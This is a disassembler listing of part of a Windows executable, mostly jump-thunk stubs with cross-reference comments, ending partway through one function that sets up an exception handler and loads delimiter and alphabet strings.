sub_401EF1	proc near		; CODE XREF: sub_422640+Ap
		jmp	sub_4227E0
sub_401EF1	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BD50
; ---------------------------------------------------------------------------
		jmp	loc_433BA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F00	proc near		; CODE XREF: ___:00416B0Bp
					; ___:0043B2A4j ...
		jmp	sub_417C20
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F05	proc near		; CODE XREF: sub_40A8F0+13p
		jmp	loc_40AA30
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_41B160:loc_41B1ACp
					; sub_41BA50+54p ...
		jmp	sub_4199A0
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:00414395p
		jmp	sub_415570
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F14	proc near		; CODE XREF: sub_4157B0+34p
					; sub_4162C0+67p
		jmp	sub_416460
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: sub_4153D0+3p
					; ___:00415B4Fp ...
		jmp	sub_415E00
sub_401F19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F1E	proc near
		jmp	sub_412CE0
sub_401F1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F23	proc near		; CODE XREF: sub_4131F0+4Dp
		jmp	sub_415450
sub_401F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: sub_407140+5Cp
					; sub_418F60+3p
		jmp	sub_407360
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F2D	proc near		; CODE XREF: ___:00419203p
		jmp	sub_419270
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: ___:0040BFFAp
		jmp	sub_40C330
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:0042C44Fp
		jmp	sub_42C0A0
sub_401F37	endp

; ---------------------------------------------------------------------------


loc_401F3C:				; DATA XREF: ___:off_43F08Co
		jmp	loc_435B90
; ---------------------------------------------------------------------------


loc_401F41:				; DATA XREF: ___:00424194o
		jmp	loc_423D10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F46	proc near		; CODE XREF: ___:00416B6Bp
					; ___:0043B250j ...
		jmp	sub_417B40
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_413C40+99p
		jmp	sub_413E10
sub_401F4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F50	proc near		; CODE XREF: sub_40B470+3Dp
					; ___:0040BC0Dp ...
		jmp	sub_40B7E0
sub_401F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: ___:loc_423DA7p
		jmp	sub_423820
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_404CC0+A38p
		jmp	sub_4068E0
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5F	proc near		; DATA XREF: ___:off_43F1A0o
		jmp	sub_42C640
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F64	proc near		; CODE XREF: sub_413A80+72p
		jmp	sub_413740
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_418430+5Fp
					; sub_418A40+1Ap ...
		jmp	sub_418AB0
sub_401F69	endp

; ---------------------------------------------------------------------------
		jmp	loc_430290

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_42F6F0+B5p
		jmp	sub_42E5B0
sub_401F73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F78	proc near		; CODE XREF: sub_40B600+4Bp
					; sub_40B600:loc_40B68Bp ...
		jmp	sub_40BF20
sub_401F78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F7D	proc near
		jmp	sub_41E500
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_40A510+142p
		jmp	sub_40A8F0
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: sub_404690+35Dp
					; sub_404690+39Ep
		jmp	sub_404B60
sub_401F87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F8C	proc near		; CODE XREF: sub_415ED0+9p
					; sub_415F70+18p
		jmp	sub_4167D0
sub_401F8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F91	proc near		; CODE XREF: sub_432E20+1Bp
		jmp	sub_432ED0
sub_401F91	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_427740+1Dp
					; sub_427C90+1Dp ...
		jmp	sub_4277B0
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_4290B0+1Dp
					; sub_429450+1Fp ...
		jmp	sub_429120
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: ___:0042B063p
		jmp	sub_42B090
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_406C20
; ---------------------------------------------------------------------------
		jmp	loc_40D540

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near		; CODE XREF: sub_4096E0+112p
					; sub_4096E0+153p
		jmp	sub_409A20
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_422700+5p
		jmp	sub_422870
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_407390+5p
		jmp	sub_407540
sub_401FBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC3	proc near		; CODE XREF: sub_413740+6Fp
					; sub_413740+DBp ...
		jmp	sub_4153D0
sub_401FC3	endp

; ---------------------------------------------------------------------------
		jmp	loc_42CB20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FCD	proc near		; CODE XREF: sub_4152E0+6Ap
					; sub_415CE0+32p
		jmp	sub_415C20
sub_401FCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD2	proc near
		jmp	sub_40F100
sub_401FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD7	proc near		; CODE XREF: sub_412BF0+3p
		jmp	sub_412C20
sub_401FD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near		; CODE XREF: sub_404690+48p
					; sub_404690+5Dp ...
		jmp	sub_409E00
sub_401FDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE1	proc near		; DATA XREF: ___:off_43F090o
		jmp	sub_419A50
sub_401FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE6	proc near		; CODE XREF: sub_41A1E0+3p
					; sub_41B140+9j ...
		jmp	sub_41A210
sub_401FE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FEB	proc near		; CODE XREF: sub_40BD90+34p
					; sub_40C200+67p
		jmp	sub_40C120
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_433980
; ---------------------------------------------------------------------------


loc_401FF5:				; DATA XREF: ___:off_43F094o
		jmp	loc_436570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFA	proc near
		jmp	sub_40F180
sub_401FFA	endp

; ---------------------------------------------------------------------------
		jmp	loc_4375F0
; ---------------------------------------------------------------------------


loc_402004:				; DATA XREF: ___:0043F03Co
		jmp	loc_41EEB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402009	proc near		; CODE XREF: sub_41F960+5Ap
		jmp	sub_420040
sub_402009	endp

; ---------------------------------------------------------------------------
		jmp	loc_431670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402013	proc near		; CODE XREF: ___:00416B2Bp
					; ___:0043B288j ...
		jmp	sub_417C00
sub_402013	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402018	proc near		; CODE XREF: ___:00416E7Fp
		jmp	sub_4131F0
sub_402018	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_421B80+5p
		jmp	sub_422080
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: ___:00421754p
		jmp	sub_41C0A0
sub_402022	endp

; ---------------------------------------------------------------------------
off_402027	dd offset byte_4BF4E9	; DATA XREF: ___:off_43F008o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40202C	proc near		; CODE XREF: sub_404690+2CEp
					; sub_404CC0+46Fp ...
		jmp	sub_40A750
sub_40202C	endp

; ---------------------------------------------------------------------------
		jmp	loc_434410
; ---------------------------------------------------------------------------
		jmp	sub_41B4D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40203B	proc near		; CODE XREF: sub_422470+Ap
		jmp	sub_422750
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_404CC0+7E7p
		jmp	sub_41BA50
sub_402040	endp

; ---------------------------------------------------------------------------


loc_402045:				; DATA XREF: ___:off_43F014o
		jmp	loc_40AEC0
; ---------------------------------------------------------------------------


loc_40204A:				; DATA XREF: ___:off_43F088o
		jmp	loc_42D150

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: ___:0040AEC3p
					; ___:0040FFAEp ...
		jmp	sub_40AEF0
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_424920+109p
					; sub_424920+178p ...
		jmp	sub_424800
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402059	proc near		; CODE XREF: sub_4099C0+7p
		jmp	sub_409AB0
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40205E	proc near		; CODE XREF: sub_416760+Ap
		jmp	sub_416970
sub_40205E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402063	proc near
		jmp	sub_40CBF0
sub_402063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402068	proc near		; CODE XREF: ___:004301DBp
					; sub_4310C0+EAp
		jmp	sub_434320
sub_402068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_421A60+5p
					; sub_421B50+6p ...
		jmp	sub_421FF0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_410030+8ADp
					; sub_410030+95Ep ...
		jmp	sub_411A60
sub_402072	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402077	proc near		; CODE XREF: sub_40C120+7p
		jmp	sub_40C310
sub_402077	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40207C	proc near		; CODE XREF: sub_418A40+34p
					; sub_418F90+67p
		jmp	sub_418DA0
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	loc_409BF0
; ---------------------------------------------------------------------------


loc_402086:				; DATA XREF: ___:off_43F13Co
		jmp	loc_4292B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_417120+2Bp
					; sub_417120+3Bp ...
		jmp	sub_403F30
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_4098B0+14p
		jmp	sub_409910
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_4332C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40209A	proc near		; CODE XREF: sub_428DC0:loc_428FCBp
		jmp	sub_428CE0
sub_40209A	endp

; ---------------------------------------------------------------------------
		jmp	sub_427940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_418430+4Dp
		jmp	sub_418B70
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; CODE XREF: sub_415230+5p
					; sub_4153F0+6p ...
		jmp	sub_415DE0
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_427940+3p
		jmp	sub_427970
sub_4020AE	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B1F0
; ---------------------------------------------------------------------------
		jmp	loc_421720

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: ___:00416E4Fp
		jmp	sub_407080
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_413740+83p
					; sub_4145A0+91p ...
		jmp	sub_4153F0
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; DATA XREF: ___:0043F054o
		jmp	sub_41F030
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_40AAD0+144p
		jmp	sub_40ADE0
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; CODE XREF: sub_431240+BAp
					; sub_433C70+36p
		jmp	sub_433CE0
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D6	proc near		; CODE XREF: sub_421EF0+23p
					; sub_422340+11p
		jmp	sub_4224E0
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: sub_4221E0+4p
		jmp	sub_4225F0
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_42BB00+3BBp
		jmp	sub_42B730
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E5	proc near		; CODE XREF: ___:0041A312p
		jmp	sub_41A3B0
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_416860+Ap
		jmp	sub_4169C0
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; DATA XREF: ___:off_43F18Co
		jmp	sub_42C5C0
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F4	proc near		; CODE XREF: sub_415D70+4p
		jmp	sub_416590
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F9	proc near		; CODE XREF: ___:004307A6p
					; ___:00430808p ...
		jmp	sub_434AD0
sub_4020F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020FE	proc near		; CODE XREF: sub_418E20+8p
		jmp	sub_4190C0
sub_4020FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: sub_418990+34p
					; sub_418E80+67p
		jmp	sub_418CA0
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: sub_41A7D0+117p
		jmp	sub_41A960
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_415BA0+35p
		jmp	sub_416670
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_404CC0+459p
					; sub_406730+43p ...
		jmp	sub_409CA0
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40BE00+5p
					; sub_40BF40+6p ...
		jmp	sub_40C140
sub_402117	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402121	proc near		; CODE XREF: ___:00416F7Ap
		jmp	sub_4191B0
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: ___:0042AD23p
		jmp	sub_42AD50
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; CODE XREF: sub_410030+F3Dp
					; sub_410030+1392p ...
		jmp	sub_4148A0
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_413A80+38p
					; sub_413E70+5Fp
		jmp	sub_4135E0
sub_402130	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402135	proc near		; CODE XREF: sub_40A210+14p
					; sub_40A240+7p ...
		jmp	sub_40A260
sub_402135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_42B440+157p
		jmp	sub_42AFF0
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40ACC0+1Ap
					; sub_40AD10+1Ap
		jmp	sub_40AD80
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_4156F0+3p
					; ___:00415F1Fp ...
		jmp	sub_416150
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; DATA XREF: ___:0043F02Co
		jmp	sub_410030
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40214E	proc near		; CODE XREF: sub_4148A0+EDp
		jmp	sub_415920
sub_40214E	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_40BF00+3p
		jmp	sub_40C180
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40215D	proc near		; CODE XREF: sub_40BFA0+11p
					; ___:0040BFC7p ...
		jmp	sub_40C2C0
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: sub_41E760+2C5p
		jmp	sub_4208E0
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402167	proc near		; CODE XREF: sub_41D930+64Fp
		jmp	sub_41C170
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40216C	proc near		; CODE XREF: sub_418CC0+32p
		jmp	sub_418F90
sub_40216C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402171	proc near		; CODE XREF: sub_40ED00+ACp
					; ___:0040F42Dp
		jmp	sub_40EE40
sub_402171	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_4138B0+93p
		jmp	sub_434D10
sub_402176	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40217B	proc near		; CODE XREF: sub_4152A0+1Fp
					; sub_415BA0+2Cp
		jmp	sub_415B00
sub_40217B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402180	proc near		; CODE XREF: ___:0042670Dp
		jmp	sub_4266D0
sub_402180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402185	proc near		; CODE XREF: sub_420630+17Dp
		jmp	sub_421AD0
sub_402185	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218A	proc near		; CODE XREF: ___:0042D551p
		jmp	sub_42B380
sub_40218A	endp

; ---------------------------------------------------------------------------


loc_40218F:				; DATA XREF: ___:off_43F010o
		jmp	loc_409BF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: sub_40AAD0+6Ap
					; sub_40AAD0+103p
		jmp	sub_40AD10
sub_402194	endp

; ---------------------------------------------------------------------------
		jmp	loc_426280
; ---------------------------------------------------------------------------
		jmp	loc_427910
; ---------------------------------------------------------------------------
		jmp	loc_41AD00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021A8	proc near		; CODE XREF: sub_407270+14p
					; sub_4072B0+9p ...
		jmp	sub_407510
sub_4021A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_416DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; CODE XREF: sub_40B0E0+1Bp
		jmp	sub_433DC0
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B7	proc near		; CODE XREF: ___:00415B5Ap
		jmp	sub_4165E0
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4309A0+ABp
					; sub_431980+1Bp ...
		jmp	sub_4319F0
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FD80

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021C6	proc near		; CODE XREF: ___:00408775p
					; ___:00408797p ...
		jmp	sub_4199C0
sub_4021C6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42DA00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D0	proc near		; CODE XREF: sub_40B600+55p
		jmp	sub_40A0B0
sub_4021D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; DATA XREF: ___:off_43F14Co
		jmp	sub_429510
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DA	proc near		; CODE XREF: sub_421BF0+34p
					; sub_422510+67p
		jmp	sub_422230
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021DF	proc near		; CODE XREF: sub_407140+2Cp
					; sub_407140+68p ...
		jmp	sub_4072B0
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_4346E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021E9	proc near		; CODE XREF: sub_41C710+1B3p
					; sub_41C710+332p ...
		jmp	sub_41D770
sub_4021E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021EE	proc near		; CODE XREF: sub_40BD50+11p
					; sub_40BFA0+1Fp
		jmp	sub_40C0D0
sub_4021EE	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; CODE XREF: sub_4246D0+1Ap
					; sub_4247B0+1Bp ...
		jmp	sub_424500
sub_4021F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021FD	proc near		; CODE XREF: ___:00416ABBp
		jmp	sub_418A40
sub_4021FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402202	proc near
		jmp	sub_42CE60
sub_402202	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FF70
; ---------------------------------------------------------------------------
		jmp	loc_430100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_434450+1Bp
		jmp	sub_4344C0
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: sub_42F6F0+101p
		jmp	sub_42F040
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; DATA XREF: ___:off_43F00Co
		jmp	sub_407210
sub_40221B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5C0
; ---------------------------------------------------------------------------
		jmp	locret_418940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; CODE XREF: sub_403720+25p
					; sub_403720+35p ...
		jmp	sub_403CE0
sub_40222A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4343F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_418430+88p
					; sub_418430+98p
		jmp	sub_418B90
sub_402234	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402239	proc near		; CODE XREF: ___:00416BBBp
					; ___:0043B20Aj ...
		jmp	sub_417870
sub_402239	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40223E	proc near		; CODE XREF: sub_418BE0+5p
		jmp	sub_418E50
sub_40223E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_414710+3p
		jmp	sub_414740
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: ___:004305EBp
					; ___:00430F17p ...
		jmp	sub_431DC0
sub_402248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40224D	proc near		; DATA XREF: ___:off_43F11Co
		jmp	sub_4288F0
sub_40224D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_430B30+102p
					; sub_432A20+5Dp ...
		jmp	sub_431B00
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_4135E0+5Cp
					; sub_4135E0+C0p ...
		jmp	sub_415540
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_432700
; ---------------------------------------------------------------------------
		jmp	loc_430460

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402266	proc near		; CODE XREF: sub_41D930+203p
		jmp	sub_42E3C0
sub_402266	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40226B	proc near		; CODE XREF: sub_42F6F0+148p
					; sub_42F6F0+173p
		jmp	sub_42EF60
sub_40226B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402275	proc near		; CODE XREF: sub_4134A0+34p
					; sub_4148A0+40p
		jmp	sub_4159F0
sub_402275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40227A	proc near		; CODE XREF: sub_40CC90+1A4p
					; sub_40D040+ADp
		jmp	sub_40D040
sub_40227A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F510

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402284	proc near		; CODE XREF: sub_422B40+938p
		jmp	loc_424080
sub_402284	endp

; ---------------------------------------------------------------------------
		jmp	loc_419B90
; ---------------------------------------------------------------------------


loc_40228E:				; CODE XREF: ___:00439FE6j
		jmp	loc_40CFC0
; ---------------------------------------------------------------------------
		db 26Bh	dup(0CCh)
byte_4024FE	db 1032h dup(0CCh)	; DATA XREF: Themida_:loc_5ABEC3o

; =============== S U B	R O U T	I N E =======================================



sub_403530	proc near		; CODE XREF: sub_4019C4j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_403530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403589
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40357A:				; CODE XREF: sub_403530+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40357A


loc_403589:				; CODE XREF: sub_403530+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_40142E
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401870
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_401A9B
		push	offset byte_448F30
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401870
